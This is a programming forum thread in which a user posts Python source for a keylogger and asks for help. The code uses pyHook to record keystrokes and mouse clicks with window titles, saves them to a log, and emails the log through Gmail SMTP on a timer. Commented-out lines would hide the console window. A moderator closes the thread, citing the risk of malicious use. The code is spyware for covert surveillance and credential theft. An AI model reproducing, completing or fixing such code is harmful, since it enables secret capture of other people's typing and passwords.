pyHook and time libraries

Page 1 of 1

1 Replies - 1428 Views - Last Post: 30 November 2012 - 12:33 AM Rate Topic: -----

#1 Doron17  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 1
  • Joined: 29-November 12

pyHook and time libraries

Posted 29 November 2012 - 11:11 PM

Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period.

I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.

Can someone help me with this please?
I thought about threading but again... It just sends blank mails without the logs.

This is the code:

#import win32api
#import win32console
#import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading

#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

#openfile = open(logpath,"r+")

l = threading.Lock()


def sendEmail():
    print("ready to send email")
    fromaddr = 'dorimeshi@gmail.com'
    toaddrs  = 'dorimeshi@gmail.com'
    msg = open('log.txt',"r").read()

    username = '<removed>'
    password = '<removed>'
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

def sendEmailAuto(dt,openfile):
        tt = time.time()
        nn = tt+dt

        while tt<nn:
            print(tt,nn)
            if tt>=nn-0.5:
                #l.acquire()  <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
                msg = open('log.txt',"r").read()
                print(msg)
                sendEmail()
                tt = time.time()
                nn = tt+dt
                log = ""
                #l.release()                
            else:
                tt = time.time()
                
def OnKeyboardEvent(event):
    try:
        global log
        if event.Alt == 32 and event.KeyID == 160:
            log = "[LangCh]"
        elif event.KeyID>=37 and event.KeyID<=40:
            log = "["+event.Key+"]"
        elif event.Ascii == 8:
            log = "[BS]"
        elif event.Ascii == 9:
            log = "[TAB]"
        elif event.Ascii == 13:
            log = "[NL]"
        elif event.Ascii == 27:
            log = "[ESC]"
        elif event.Alt == 32 and event.KeyID == 75:
            openfile.close()
            sendEmail()
            exit()
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass
    return True


def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
        log = "<"+event.WindowName +">\n"
        openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName == None :
        log = "-\n"
        openfile.write(log)
    return True

thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()                

pythoncom.PumpMessages()





Thanks alot ahead!

This post has been edited by Simown: 30 November 2012 - 12:29 AM


Is This A Good Question/Topic? 0
  • +

Replies To: pyHook and time libraries

#2 Simown  Icon User is offline

  • Blue Sprat
  • member icon

Reputation: 319
  • View blog
  • Posts: 650
  • Joined: 20-May 10

Re: pyHook and time libraries

Posted 30 November 2012 - 12:33 AM

I'm afraid I'm going to have to close this topic. Your program could be used maliciously in the wrong hands, and we have a policy here not to assist with this sort of thing.

Please contact a moderator if you have any questions.
Was This Post Helpful? 1
  • +
  • -

Page 1 of 1